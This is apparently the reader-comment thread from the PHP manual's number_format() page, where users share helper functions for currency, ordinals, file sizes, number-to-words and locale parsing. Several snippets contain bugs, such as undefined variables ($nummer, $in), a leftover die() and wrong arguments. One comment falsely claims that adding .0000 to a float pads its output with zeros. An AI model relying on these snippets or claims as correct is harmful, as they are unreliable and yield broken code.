t dot ulrich at airbus-pilots dot com 29-Aug-2011 05:48
leading zero´s are easier to do with some small if statement

<?php
$number = 123.3;

$number = explode(".",$number);

if(substr($number[1],1,1) == ""){
       $number[1] = $number[1] . "0";
}

$number = $number[0]. "." .$number[1];
?>

easy...
robmann at gmx dot li 05-May-2011 04:02
Here a function to filter exponential notation like 6e-06. Turn it to 0,000006 for comfortable reading. Supporting various number of decimals!

<?php
function easy_number_format($number, $dec_point, $thousands_sep)
{
    $number = rtrim(sprintf('%f', $number), "0");
    if (fmod($nummer, 1) != 0) {
        $array_int_dec = explode('.', $number);
    } else {
        $array_int_dec= array(strlen($nummer), 0);
    }
    (strlen($array_int_dec[1]) < 2) ? ($decimals = 2) : ($decimals = strlen($array_int_dec[1]));
    return number_format($number, $decimals, $dec_point, $thousands_sep);
}
?>

The maximum accuracy depends on sprintf('%f', $number). In this case 6 decimals. Expand it to 10 with '%.10f'.
info at swedishboy dot se 24-Jan-2011 03:12
There has been some suggestions around on how to keep trailing zeros. Best way is to use the example for currency provided by the php-crew in the sprintf function help section.

That is:
<?php
$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;

// echo $money will output "123.1";

$formatted = sprintf("%01.2f", $money); // << this does the trick!

// echo $formatted will output "123.10"

?>
WayneH 29-Nov-2010 02:24
When using number_format to create a string for output to a CSV file you will need to override the default thousands separator of "," with null ("") so that 1,000 becomes 1000 !!!
Ali Okan YKSEL 26-Oct-2010 02:47
function formats numbers of datetime type,

<?php
$_GET["zaman"]="1983-8-28 5:5:5";

function _parseDatetimeToList($datetimeStr) { //datetime format: Y-m-d H-i-s
    $datetimeArray=explode(" ", $datetimeStr);
    $dateArray=explode("-",$datetimeArray[0]);
    $year=str_pad($dateArray[0], 2, "0", STR_PAD_LEFT);
    $month=str_pad($dateArray[1], 2, "0", STR_PAD_LEFT);
    $day=str_pad($dateArray[2], 2, "0", STR_PAD_LEFT);
    $timeArray=explode(":",$datetimeArray[1]);
    $hour=str_pad($timeArray[0], 2, "0", STR_PAD_LEFT);
    $minute=str_pad($timeArray[1], 2, "0", STR_PAD_LEFT);
    $second=str_pad($timeArray[2], 2, "0", STR_PAD_LEFT);
    return array($year, $month, $day, $hour, $minute, $second);
}

list($year, $month, $day, $hour, $minute, $second) = _parseDatetimeToList($_GET["zaman"]);  // 1983-1-28 5:5:5
?>
Ricky *@* Mataka [com] 15-Oct-2010 11:10
Hey Guys, dont know if this is the best way but it worked for me as i faced a problem where I had to split any large number > then 10K into into to exact split amounts.. so i wrote this this to do the trick.. hope it helps some one out there!

<?php
function divide22($num)
{
  $valone = intval($num / 2);
  $valtwo = $valone;
  if (($num % 2) > 0) $valtwo++;
  return array($valone, $valtwo);
}
function split2vals($num,$split_amount)
{
  $store=array();
  $times = round(($num/$split_amount));
  $amount= $num/$times;
  for($i=0;$i<$times;$i++)
  {
     $store[]=round($amount);
  }
  foreach($store as $index=>$value)
  {
    if($value>$split_amount)
    {
       $get_splits=divide22($value);
       //unset the split
       unset($store[$index]);
       $store[]=$get_splits[0];
       $store[]=$get_splits[1];
    }
  }
  $sum=array_sum($store);

  if($sum > $num){
    $sub=$sum-$num;
      $end=end($store);
    array_pop($store);
    $store[]=$end-$sub;
  }
  if($sum < $num){
    $store[]=($num-$sum);
  }
  return $store;
}

//USAGE

$check_amount=50567.83;
echo 'Input Split = '.$check_amount.'<br><br>';
$store=split2vals($check_amount,10000);
print_r($store);
$sum=array_sum($store);
echo '<br><br>Should Be Exact ='. $sum;
exit();
?>
Anonymous 13-Oct-2010 02:52
Caution should be taken with large "string" values. This is due to the precision issues with converting a string to a float.

For example:

<?php
$org_num = "255173029255255255";
echo "<br>org: ".$org_num;
echo "<br>".number_format($org_num);
?>

returns:
org: 255173029255255255
255,173,029,255,255,264

Here is the function that can be used instead

<?php
function numberFormat($num)
{
     return preg_replace("/(?<=\d)(?=(\d{3})+(?!\d))/",",",$num);
}
?>
Cody G. 08-Aug-2010 02:06
Sometimes, I'm sure, you guys are looking for a way to do the exact opposite of this function: convert a comma-filled number back to normal decimal.
Here's a quick code that popped into my head today:

<?php
 $mynumstr = "100,000,000.75";
 $mynum = doubleval(str_replace(",","",$mynumstr));
?>

This is especially useful when validating user input. Some people like to include comma's with their numbers.
Some also like to include the dollar-sign when entering prices. Here's a modification:

<?php
 $mynumstr = '$100,000,000.25';
 $arr1 = array(',','$');
 $arr2 = array('','');
 $mynum = doubleval(str_replace($arr1,$arr2,$mynumstr));
 //The arrays had to be defined in a
 //  variable to shorten statement.
?>

Okay, that takes care of it, I use the PHP4 array compatibility update to remove several characters.
Don't forget to either use single-quotes or escape the dollar-sign!

~Cody G.
me dot nosp at m dot unreal4u dot com 08-Jul-2010 12:36
Maybe it is documented, but I just missed it. However, a comment is always useful.

An array will always be converted into 1, so, if you have:

<?php
$my_array = array(55);
echo number_format($my_array,0,',','.');
// 1
var_dump(number_format($my_array,2,',','.'));
// string(4) "1,00"
?>

Since it took me a while to figure it out, I hope this will save somebody's time.

Greetings !!
isedc at yahoo dot com 29-Mar-2010 12:38
Some programmers may have scripts that use the number_format function twice on a variable.  However, if a number is 4 or more digits, using the function twice with only the decimals parameter will lose part of the value that follows the thousands separator.

<?php
$var = number_format(2234,2);
$var = number_format($var,2);
echo $var;
# Expected Output: 2,234.00
# Actual Output: 2.00
?>

To fix, remove the thousands separator by setting the decimal point and thousands separator parameters like so:

<?php
$var = number_format(2234,2,'.','');
$var = number_format($var,2,'.','');
echo $var;
# Expected Output: 2234.00
# Actual Output: 2234.00
?>

If it's 3 digits or less, then it works normally with only the decimals parameter since there is no thousands separator.

<?php
$var = number_format(123,2);
$var = number_format($var,2);
echo $var;
# Expected Output: 123.00
# Actual Output: 123.00
?>
dipu dot ashok dot 17 at gmail dot com 28-Mar-2010 01:18
function to convert numbers to words
indian: thousand,lakh,crore
Note: function can only convert nos upto 99 crores

<?php
 $words = array('0'=> '' ,'1'=> 'one' ,'2'=> 'two' ,'3' => 'three','4' => 'four','5' => 'five','6' => 'six','7' => 'seven','8' => 'eight','9' => 'nine','10' => 'ten','11' => 'eleven','12' => 'twelve','13' => 'thirteen','14' => 'fouteen','15' => 'fifteen','16' => 'sixteen','17' => 'seventeen','18' => 'eighteen','19' => 'nineteen','20' => 'twenty','30' => 'thirty','40' => 'fourty','50' => 'fifty','60' => 'sixty','70' => 'seventy','80' => 'eighty','90' => 'ninty','100' => 'hundred &','1000' => 'thousand','100000' => 'lakh','10000000' => 'crore');
function no_to_words($no)
{    global $words;
    if($no == 0)
        return ' ';
    else {           $novalue='';$highno=$no;$remainno=0;$value=100;$value1=1000;
            while($no>=100)    {
                if(($value <= $no) &&($no  < $value1))    {
                $novalue=$words["$value"];
                $highno = (int)($no/$value);
                $remainno = $no % $value;
                break;
                }
                $value= $value1;
                $value1 = $value * 100;
            }
          if(array_key_exists("$highno",$words))
              return $words["$highno"]." ".$novalue." ".no_to_words($remainno);
          else {
             $unit=$highno%10;
             $ten =(int)($highno/10)*10;
             return $words["$ten"]." ".$words["$unit"]." ".$novalue." ".no_to_words($remainno);
           }
    }
}
echo no_to_words(999978987);

?>
binarte at gmail dot com 24-Dec-2009 09:10
number_format is deficient in the sense that it is currently unable to output numbers in japanese format (grouping algarisms in tens of thousands instead of thousands).
The alternative below will work just like number_format, but the added $group parameter allows to change how many algarisms per group the output will have.

<?php

function numberFormat  ($number  , $decimals = 2 , $dec_point = '.' , $sep = ',', $group=3   ){
    $num = sprintf("%0.{$decimals}f",$number);
    $num = explode('.',$num);
    while (strlen($num[0]) % $group) $num[0]= ' '.$num[0];
    $num[0] = str_split($num[0],$group);
    $num[0] = join($sep[0],$num[0]);
    $num[0] = trim($num[0]);
    $num = join($dec_point[0],$num);

    return $num;
}

echo numberformat(123456789,0,'.',' ',4); // 1 2345 6789

?>
Horvath, Sandor [HU] 05-Oct-2009 01:19
Because I had a lot of problems with number_format, here is a working, simple and small replacement:

<?php
function FormatNumber($number, $decimals = 0, $thousand_separator = '&nbsp;', $decimal_point = '.')
{
  $tmp1 = round((float) $number, $decimals);

  while (($tmp2 = preg_replace('/(\d+)(\d\d\d)/', '\1 \2', $tmp1)) != $tmp1)
    $tmp1 = $tmp2;

  return strtr($tmp1, array(' ' => $thousand_separator, '.' => $decimal_point));
}

echo FormatNumber(-913578.1415, 2, '.', ',') . "\n";
?>
Will Shaver 24-Aug-2009 11:42
Previous to version 4.3 an empty string as the first parameter would not cause an error. Now checking to make sure the string is empty before calling number_format is needed.
Peter de Pijd 17-Aug-2009 08:35
If you want to use nbsp as decimal/thousand delimiter with UTF-8 you have to replace the whitespace after using number_format:

<?php
$number = number_format(1000, 0, ".", " "); // normal space
echo str_replace(" ", utf8_encode("\xA0"), $number);
// or
echo str_replace(" ", html_entity_decode("&nbsp;", ENT_COMPAT, "UTF-8"), $number);
?>
therealsix 02-Jul-2009 08:40
I found you can add trailing zeroes simply by adding a float point value containing the number of decimal places you want to appear.

<?php
$number = 5.2;
$number += .0000;
echo $number;
?>

Outputs:
5.2000
info at daniel-marschall dot de 22-May-2009 12:54
In my function my_number_format() [shown below] there was a bug.

If a negative number which is smaller than 1 was entered (-0,...), then the result was wrongly positive because +0 is equal to -0 (the content of $tmp[0] which was interpretet as numeric value).

Here is the corrected version:

<?php

function my_number_format($number, $dec_point, $thousands_sep)
{
    $was_neg = $number < 0; // Because +0 == -0
    $number = abs($number);

    $tmp = explode('.', $number);
    $out = number_format($tmp[0], 0, $dec_point, $thousands_sep);
    if (isset($tmp[1])) $out .= $dec_point.$tmp[1];

    if ($was_neg) $out = "-$out";

    return $out;
}

?>

Thanks to Federico Cassinelli for the bug report.

[EDIT BY danbrown AT php DOT net: The original note follows.]

Let's say we got the number $inp = 1234.56

By using

<?php
return number_format($inp, 2, ',', '.');
?>

you can get the German format 1.234,56. (Comma as decimal separator and point as thousand separator)

But I have a problem with that: I want to add commas as thousand separators and change the decimal-separator (this could also be done with str_replace), but I do not want to change the amount of fractional digits!

But since the 2nd argument of number_format is necessary to enter the 3rd and 4th argument, this cannot be done with number_format. You have to change the fractional digits with this function.

But I want that 1234.56 changes into 1.234,56 and 1234.567890123456 changes into 1.234,567890123456

So, I created following function, that doesn't change the amount of fractional digits:

<?php
function my_number_format($number, $dec_point, $thousands_sep)
{
  $tmp = explode('.', $number);
  $out = number_format($tmp[0], 0, $dec_point, $thousands_sep);
  if (isset($tmp[1])) $out .= $dec_point.$tmp[1];

  return $out;
}
?>
james at bandit dot co.nz 26-Mar-2009 09:03
Outputs a human readable number.

<?php
    #    Output easy-to-read numbers
    #    by james at bandit.co.nz
    function bd_nice_number($n) {
        // first strip any formatting;
        $n = (0+str_replace(",","",$n));

        // is this a number?
        if(!is_numeric($n)) return false;

        // now filter it;
        if($n>1000000000000) return round(($n/1000000000000),1).' trillion';
        else if($n>1000000000) return round(($n/1000000000),1).' billion';
        else if($n>1000000) return round(($n/1000000),1).' million';
        else if($n>1000) return round(($n/1000),1).' thousand';

        return number_format($n);
    }
?>

Outputs:

247,704,360 -> 247.7 million
866,965,260,000 -> 867 billion
IMSoP 18-Mar-2009 02:36
I'm not sure if this is the right place anyway, but "ben at last dot fm"'s ordinal function can be simplified further by removing the redundant "floor" (the result of floor is still a float, it's the "%" that's converting to int) and outer switch.

Note that this version also returns the number with the suffix on the end, not just the suffix.

<?php
function ordinal($num)
{
    // Special case "teenth"
    if ( ($num / 10) % 10 != 1 )
    {
        // Handle 1st, 2nd, 3rd
        switch( $num % 10 )
        {
            case 1: return $num . 'st';
            case 2: return $num . 'nd';
            case 3: return $num . 'rd';
        }
    }
    // Everything else is "nth"
    return $num . 'th';
}
?>
ben at last dot fm 27-Feb-2009 04:22
Writing a function to get English ordinals for numbers is a problem every computer science student will face. Here's my solution - nice, short and simple:

<?php
    function st($i) {
        switch( floor($i/10) % 10 ) {
            default:
                switch( $i % 10 ) {
                    case 1: return 'st';
                    case 2: return 'nd';
                    case 3: return 'rd';
                }
            case 1:
        }
        return 'th';
    }
?>
Barbara 26-Jan-2009 11:04
I was looking for a SIMPLE way to format currency and account for negative values while not losing the calculation properties of my number.  Here's my function - it's not rocket science, but maybe can help someone along the way.

<?php
function wims_currency($number) {
   if ($number < 0) {
     $print_number = "($ " . str_replace('-', '', number_format ($number, 2, ".", ",")) . ")";
    } else {
     $print_number = "$ " .  number_format ($number, 2, ".", ",") ;
   }
   return $print_number;
}
?>
Sample use:

<?php
$pur_po_total =  ($pur_po_total + $pur_item_total);
$print_pur_po_total = wims_currency($pur_po_total);
?>

Returns (for example)    $ 44,561.00 or, if a negative ($ 407,250.00)

This way, I use my 1st variable for calculations and my 2nd variable for output.  I'm sure there are better ways to do it,  but this got me back on track.
thomas at weblizards dot de 23-Jan-2009 05:43
It's not explicitly documented; number_format also rounds:

<?php
$numbers = array(0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009);
foreach ($numbers as $number)
    print $number."->".number_format($number, 2, '.', ',')."<br>";
?>

0.001->0.00
0.002->0.00
0.003->0.00
0.004->0.00
0.005->0.01
0.006->0.01
0.007->0.01
0.008->0.01
0.009->0.01
nospam at nospam dot com 02-Dec-2008 02:08
Simple function to show money as only dollars if no cents, but will show 2 decimals if cents exist.

The 'cents' flag can force to never or always show 2 decimals

<?php

// formats money to a whole number or with 2 decimals; includes a dollar sign in front
function formatMoney($number, $cents = 1) { // cents: 0=never, 1=if needed, 2=always
  if (is_numeric($number)) { // a number
    if (!$number) { // zero
      $money = ($cents == 2 ? '0.00' : '0'); // output zero
    } else { // value
      if (floor($number) == $number) { // whole number
        $money = number_format($number, ($cents == 2 ? 2 : 0)); // format
      } else { // cents
        $money = number_format(round($number, 2), ($cents == 0 ? 0 : 2)); // format
      } // integer or decimal
    } // value
    return '$'.$money;
  } // numeric
} // formatMoney

$a = array(1, 1234, 1.5, 1.234, 2.345, 2.001, 2.100, '1.000', '1.2345', '12345', 0, '0.00');

// show cents if needed ($cents=1)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 1));
1 = $1
1234 = $1,234
1.5 = $1.50
1.234 = $1.23
2.345 = $2.35
2.001 = $2.00
2.1 = $2.10
1.000 = $1
1.2345 = $1.23
12345 = $12,345
0 = $0
0.00 = $0

// never show cents ($cents=0)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 0));
1 = $1
1234 = $1,234
1.5 = $2
1.234 = $1
2.345 = $2
2.001 = $2
2.1 = $2
1.000 = $1
1.2345 = $1
12345 = $12,345
0 = $0
0.00 = $0

// always show cents ($cents=2)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 2));
1 = $1.00
1234 = $1,234.00
1.5 = $1.50
1.234 = $1.23
2.345 = $2.35
2.001 = $2.00
2.1 = $2.10
1.000 = $1.00
1.2345 = $1.23
12345 = $12,345.00
0 = $0.00
0.00 = $0.00

?>

Cheers :)

And remember to always contribute custom functions if they might be useful to the rest of us or future versions of the php language.
samuelpeixoto at gmail dot com 21-Nov-2008 05:05
Exemplo: Example:

<?php
$number = 1234567.896;
echo '1: '.number_format($number, 2, ',', '').'<br>';
echo '2: '.number_format($number, 2, '.', '').'<br>';
echo '3: '.number_format($number, 2, ',', '.').'<br>';
echo '4: '.number_format($number, 2, '.', ',').'<br>';
echo '5: '.number_format($number, 2, ',', ' ').'<br>';
echo '6: '.number_format($number, 2, ',', "'").'<br>';
echo '7: '.number_format($number, 2, '', '').'<br>';
?>

Resultado: Result:

 1: 1234567,90   -> Decimal separado por ,
 2: 1234567.90   -> Decimal separado por .
 3: 1.234.567,90 -> Moeda Brasil, Alemanha
 4: 1,234,567.90 -> Inglês, USA
 5: 1 234 567,90 -> França
 6: 1'234'567,90 -> Suíça
 7: 123456790    -> Sem decimal
with at held dot com 16-Sep-2008 11:17
Note:
The accuracy tends to drift if you're setting a large decimal value.

<?php
$number = 1234.560;
echo number_format($number, 2, '.', '');
echo number_format($number, 3, '.', '');
echo number_format($number, 4, '.', '');
echo number_format($number, 10, '.', '');
echo number_format($number, 20, '.', '');
echo number_format($number, 50, '.', '');
?>

echos this (for me at least).

1234.56
1234.560
1234.5600
1234.5600000000
1234.55999999999994543032
1234.55999999999994543031789362430572509765625000000000

SyCo
isapoetra at gmail dot com 15-Jun-2008 06:53
here is the code to convert number to Indonesian text, this code has limitation as is number_format function. sorry for this.
/*
* Created : Iwan Sapoetra - Jun 13, 2008
* Project : Web
* Package : cgaf
*
*/
function terbilang( $num ,$dec=4){
    $stext = array(
        "Nol",
        "Satu",
        "Dua",
        "Tiga",
        "Empat",
        "Lima",
        "Enam",
        "Tujuh",
        "Delapan",
        "Sembilan",
        "Sepuluh",
        "Sebelas"
    );
    $say  = array(
        "Ribu",
        "Juta",
        "Milyar",
        "Triliun",
        "Biliun", // remember limitation of float
        "--apaan---" ///setelah biliun namanya apa?
    );
    $w = "";

    if ($num <0 ) {
        $w  = "Minus ";
        //make positive
        $num *= -1;
    }

    $snum = number_format($num,$dec,",",".");
    die($snum);
    $strnum =  explode(".",substr($snum,0,strrpos($snum,",")));
    //parse decimalnya
    $koma = substr($snum,strrpos($snum,",")+1);

    $isone = substr($num,0,1)  ==1;
    if (count($strnum)==1) {
        $num = $strnum[0];
        switch (strlen($num)) {
            case 1:
            case 2:
                if (!isset($stext[$strnum[0]])){
                    if($num<19){
                        $w .=$stext[substr($num,1)]." Belas";
                    }else{
                        $w .= $stext[substr($num,0,1)]." Puluh ".
                            (intval(substr($num,1))==0 ? "" : $stext[substr($num,1)]);
                    }
                }else{
                    $w .= $stext[$strnum[0]];
                }
                break;
            case 3:
                $w .=  ($isone ? "Seratus" : terbilang(substr($num,0,1)) .
                    " Ratus").
                    " ".(intval(substr($num,1))==0 ? "" : terbilang(substr($num,1)));
                break;
            case 4:
                $w .=  ($isone ? "Seribu" : terbilang(substr($num,0,1)) .
                    " Ribu").
                    " ".(intval(substr($num,1))==0 ? "" : terbilang(substr($num,1)));
                break;
            default:
                break;
        }
    }else{
        $text = $say[count($strnum)-2];
        $w = ($isone && strlen($strnum[0])==1 && count($strnum) <=3? "Se".strtolower($text) : terbilang($strnum[0]).' '.$text);
        array_shift($strnum);
        $i =count($strnum)-2;
        foreach ($strnum as $k=>$v) {
            if (intval($v)) {
                $w.= ' '.terbilang($v).' '.($i >=0 ? $say[$i] : "");
            }
            $i--;
        }
    }
    $w = trim($w);
    if ($dec = intval($koma)) {
        $w .= " Koma ". terbilang($koma);
    }
    return trim($w);
}
//example
echo terbilang(999999999999)."\n";
/**
 * result : Sembilan Ratus Sembilan Puluh Sembilan Milyar Sembilan Ratus Sembilan Puluh Sembilan Juta Sembilan Ratus Sembilan Puluh Sembilan Ribu Sembilan Ratus Sembilan Puluh Sembilan
 */
echo terbilang(9999999999999999);
/**
 * todo : fix this bug pleasese
 * problem : number_format(9999999999999999) <--- 10.000.000.000.000.000,0000
 * Result : Sepuluh Biliun
 */
xkeeper at gmail dot com 09-Jun-2008 10:26
Technically, you can just use number_format() with "x" as the thousands seperator, then...

<?php
  str_replace("x", "character of choice", number_format(1234.56, ".", "x"));
?>

This will probably be many times more efficient.
team at glossword dot biz 26-May-2008 06:45
It's pity that the function supports one-byte characters only for "thousands separator".
For English it works well but for French and Russian it makes problem.
Developers should use character &#160; or chr(0xA0) as "thousands separator" to avoid the number of being moved to a new line in HTML-documents. But number_format() didn't understand that symbol.
To solve the problem, we wrote our own variant of number_format():

<?php
/* Replacement for number_format() */
function my_number_format($n, $decimals = 0, $dec_point = ',', $thousands_sep = '&#160;')
{
    $b = explode('.', $n);
    $rn = '';
    $l = strlen($b[0]);
    /* Reverse string */
    for ($i = $l; $i > 3; $i -= 3)
    {
        $rn = $thousands_sep . substr($b[0], $i - 3, 3) . $rn;
    }
    /* sprintf() used to correct 0.79 to 0.790 */
    /* str_replace() used to correct decimals */
    /* str_repeat() used to correct decimals */
    return substr($b[0], 0, $i) . $rn . ($decimals
            ? $dec_point.(isset($b[1])
                ? str_replace('0.', '', sprintf('%0.'.$decimals.'f', '0.'.$b[1]))
                : str_repeat(0, $decimals))
            : '');
}
/* Outputs 123&#160;456,790 */
print my_number_format(123456.78987, 3);
?>

It can be optimized more, but this variant works well also.
gabrielu at gmail dot com 08-May-2008 09:54
Using the number_format I'm having some unexpected results.  30% of 14.95 (14.95 * .3) = 4.485.  Now 4.485 rounded to two decimal places should give me 4.49.

Example:
<?php
echo number_format(14.95 * .3, 2, '.', '') . "\n";
echo number_format(4.485, 2, '.', '') . "\n";
?>

Unexpected Results:
4.48
4.49
eregon at msn dot com 30-Jan-2008 01:02
I have seen some scripts here for format a filesize, but i think this can be useful:

<?php
function format_filesize($number, $decimals = 3, $force_unit = false, $dec_char = ',', $thousands_char = ' ')
    {//string format_filesize(int(0,) $number, (bool(0), int(0,4)) $force_unit, int $decimals, char $dec_char, char $thousands_char)
    //format a filesize $number with unit (setted by $force_unit(see below for the number))
        $units = array('o', 'Ko', 'Mo', 'Go', 'To');
        if($force_unit === false)
            $unit = floor(log($number, 2) / 10);
        else
            $unit = $force_unit;
        if($unit == 0)
            $decimals = 0;
        return number_format($number / pow(1024, $unit), $decimals, $dec_char, $thousands_char).' '.$units[$unit];
    }
?>

ex:
format_filesize(2540367) => '2,423 Mo'
format_filesize(2540367, 2) => '2,42 Mo'
format_filesize(2540367, 1, 1) => '2 480,8 Ko' //0=>'o', 1=>'Ko', 2=>'Mo', 3=>'Go', 4=>'To' (see $units)
format_filesize(2540687367, 2, 1, ',', '.') => '2.481.140,01 Ko'

log($number, 2) / 10 = log($number, 1024) ;)
Fast & Easy, isn't it? :)
www.produkte24.com 08-Jan-2008 12:28
I have to verify price data from several formats, eg:
- 12.345,67 (German)
- 12,345.67 (English)
- 12 345,67 (French)
- 12'345,67 (Swiss)

Here is a quick function which helps me out of all this format mess, but please not the I only check for:
- positive values
- max 2 digits on the right side (.12)

function mk_price_to_float($price){
    $price = trim($price);
    if(preg_match("~^([0-9]+|(?:(?:[0-9]{1,3}([.,' ]))+[0-9]{3})+)(([.,])[0-9]{1,2})?$~", $price, $r)){
        if(!empty($r['2'])){
            $pre = preg_replace("~[".$r['2']."]~", "", $r['1']);
        }else{
            $pre = $r['1'];
        }
        if(!empty($r['4'])){
            $post = ".".preg_replace("~[".$r['4']."]~", "", $r['3']);
        }else{
            $post = false;
        }
        $form_price = $pre.$post;
        return $form_price;
    }
    return false;
}

This code is used at http://www.produkte24.com/ and http://www.who-sells-it.com/ and works like a charm.
uliciadrian01 at yahoo dot com 06-Oct-2007 02:34
A simple funtion to format american dollars.
<?
function formatMoney($money) {
    if($money<1) {
        $money='&cent;'.$money*100;
    }
    else {
        $dollars=intval($money);
        $cents=$money-$dollars;
        $cents=$cents*100;
        $money='$'.$dollars.' and &cent;'.$cents;
    }
    return $money;
}
echo formatmoney('52.342');
?>
This will output: "   $52 and ¢34.2  ".
eb1024 at gmail dot com 11-Aug-2007 10:38
To address the problems number_format has when dealing with big numbers I've created my own Number_Format method, it acts the same way as number_format and takes the same arguments but deals with numbers as strings solving the problems above referred.

(The other methods are available at http://www.alixaxel.com/wordpress/2007/05/19/php-math-library/)

function Number_Format($number, $decimal_precision = 0, $decimals_separator = '.', $thousands_separator = ',')
{
if ($this->Is_Negative($number))
{
    $negative = true;

    $number = str_replace('-', '', $number);
}

$number = explode('.', str_replace(' ', '', $number));

$number[0] = str_split(strrev($number[0]), 3);

$total_segments = count($number[0]);

for ($i = 0; $i < $total_segments; $i++)
{
    $number[0][$i] = strrev($number[0][$i]);
}

$number[0] = implode($thousands_separator, array_reverse($number[0]));

if ($negative === true)
{
    $number[0] = '-' . $number[0];
}

if (!empty($number[1]))
{
    $number[1] = $this->Round($number[1], $decimal_precision);
}

$number = implode($decimals_separator, $number);

return $number;
}

I hope this is useful for someone!
Jason Johnson 01-Aug-2007 12:39
Beware of this pitfall:
$value = number_format ($float_val, 2, ".");

This will silently return an empty string and not throw an error, at least with PHP 5.x.

This is the corrected code:
$value = number_format ($float_val, 2, ".", ",");
- or -
$value = number_format ($float_val, 2);

You must specifiy either the decimal point AND thousands separator else neither, otherwise you'll run into this issue.

I just spent over 30min debugging code with this problem!
user at example dot net 16-Jul-2007 07:52
The following function converts a string into Float or Integer while taking the given or locale number format into account.

<?php

    function strtonumber( $str, $dec_point=null, $thousands_sep=null )
    {
        if( is_null($dec_point) || is_null($thousands_sep) ) {
            $locale = localeconv();
            if( is_null($dec_point) ) {
                $dec_point = $locale['decimal_point'];
            }
            if( is_null($thousands_sep) ) {
                $thousands_sep = $locale['thousands_sep'];
            }
        }
        $number = (float) str_replace($dec_point, '.', str_replace($thousands_sep, '', $str));
        if( $number == (int) $number ) {
            return (int) $number;
        } else {
            return $number;
        }
    }

?>
alx at inbox dot lv 15-May-2007 02:14
enjoy the PHP!
<?php
function FormatPrice($price) {
    $price = preg_replace("/[^0-9\.]/", "", str_replace(',','.',$price));
    if (substr($price,-3,1)=='.') {
        $sents = '.'.substr($price,-2);
        $price = substr($price,0,strlen($price)-3);
    } elseif (substr($price,-2,1)=='.') {
        $sents = '.'.substr($price,-1);
        $price = substr($price,0,strlen($price)-2);
    } else {
        $sents = '.00';
    }
    $price = preg_replace("/[^0-9]/", "", $price);
    return number_format($price.$sents,2,'.','');
}
?>
Joeri 13-Feb-2007 07:18
Aj and astrolox, for perfect precision arithmetic, you can use the bcmath functions, which perform math on string representations of numbers, instead of on floats. Obviously this is an order of magnitude slower, but at least you don't lose any precision due to the complexities of IEEE-754.
ted at qtis dot co dot nz 07-Feb-2007 03:38
I use the following to get around the negative zero problem:

function currency_format($amount, $precision = 2, $use_commas = true, $show_currency_symbol = false, $parentheses_for_negative_amounts = false)
{
    /*
    **    An improvement to number_format.  Mainly to get rid of the annoying behaviour of negative zero amounts.
    */
    $amount = (float) $amount;
    // Get rid of negative zero
    $zero = round(0, $precision);
    if (round($amount, $precision) == $zero) {
        $amount = $zero;
    }

    if ($use_commas) {
        if ($parentheses_for_negative_amounts && ($amount < 0)) {
            $amount = '('.number_format(abs($amount), $precision).')';
        }
        else {
            $amount = number_format($amount, $precision);
        }
    }
    else {
        if ($parentheses_for_negative_amounts && ($amount < 0)) {
            $amount = '('.round(abs($amount), $precision).')';
        }
        else {
            $amount = round($amount, $precision);
        }
    }

    if ($show_currency_symbol) {
        $amount = '$'.$amount;  // Change this to use the organization's country's symbol in the future
    }
    return $amount;
}
zulisse at email dot it 06-Feb-2007 02:27
simpler function to convert a number in bytes, kilobytes....

<?php

function bytes($a) {
    $unim = array("B","KB","MB","GB","TB","PB");
    $c = 0;
    while ($a>=1024) {
        $c++;
        $a = $a/1024;
    }
    return number_format($a,($c ? 2 : 0),",",".")." ".$unim[$c];
}

?>

you may also add others units over PeraBytes when the hard disks will reach 1024 PB :)
lathem at gibsoncomputer dot net 22-Dec-2006 09:41
I've discovered that the commas which number_format() inserts as a thousands separators causes math functions to break.

Bit of a newbie thing, but it bit me in the ass.

eg--

<?
$foo = number_format(1234, 2);
?>

$foo is now equal to 1,234.00

<?
$bar = 23;
$result = $foo+$bar;
?>

One would think $result == 1,257.00.  However, because number_format added a comma to $foo, the expression will not evaluate correctly.

Instead, do things in this order:

<?
$foo=1234;
$bar=23;
$foobar=number_format($foo+$bar, 2);
?>

$foobar is now set to 1,257.00.

Another method, if you're fixing code you've already written and don't want to change a huge amount, is to remove the thousands separator, using the appropriate variable to number_format.

<?
$foo = number_format(1234, 2, '.', '');
$bar = number_format(23, 2, '.', '');
$foobar = number_format($foo+$bar, 2);
?>

$foobar will now be set to 1,257.00
webmaster at WWW.ELLESSEWEB.NET 24-Nov-2006 06:51
This is a simple and useful function to convert a byte number in a KB  or MB:

<?
function filesize_format ($bytes) {
  $bytes=(float)$bytes;
  if ($bytes<1024){
  $numero=number_format($bytes, 0, ',', '.')." Byte";
  return $numero;
  }
  if ($bytes<1048576){
      $numero=number_format($bytes/1024, 2, ',', '.')." KByte";
  return $numero;
  }
  if ($bytes>=1048576){
      $numero=number_format($bytes/1048576, 2, ',', '.')." MByte";
  return $numero;
  }
}
?>
giovanni dot cappellini at gmail dot com 26-Oct-2006 07:31
About the function of j-a-n at gmx dot de: it's useful, but the argument of the function is $number while the logic of the function requires it to be $in.
dwhitaker at dfwairport dot com 13-Sep-2006 07:56
You know sometimes we forget to add the basic cool stuff...

Found this over in the money_format section and felt some newbie is probably looking for it...

$val = "1000000";
echo number_format($val, 0, "", ","); // returns 1,000,000
26-Aug-2006 04:45
Unfortunately, this function is not multibyte-safe. If you want to use the typographically correct separator for thousands in Swiss German and UTF-8 (‘ - Unicode 2019), you'll only get the first byte - e.g. garbage -  since this function strips anything after the first byte, regardless of the charset used.
j-a-n at gmx dot de 10-Aug-2006 10:04
This function formats an decimal number to a String.
But it does'n use an fixed count of decimals but calculates the needed count of decimals.

<?
function formatNumber( $number, $decimals=2, $dec_point=".", $thousands_sep=",") {
    $nachkomma = abs($in - floor($in));
    $strnachkomma = number_format($nachkomma , $decimals, ".", "");

    for ($i = 1; $i <= $decimals; $i++) {
        if (substr($strnachkomma, ($i * -1), 1) != "0") {
            break;
        }
    }

    return number_format($in, ($decimals - $i +1), $dec_point, $thousands_sep);
}
?>
Example:

formatNumber( 100.00 );
--> 100
formatNumber( 100.50 );
--> 100.5
formatNumber( 100.1234 );
--> 100.12
formatNumber( 100.12, 4 );
--> 100.12
formatNumber( 100.12345, 4 );
--> 100.1234
04-Jun-2006 12:55
The modification to number_format below does what I actually want it to do, with currency, for example. I want it to show $1.40 and not $1.4 or $1.400 - except in the rare case where I have $1.435 for something, in which case I *don't* want it to round. The ugliness below serves my purpose.

function nof($number,$decimals) {
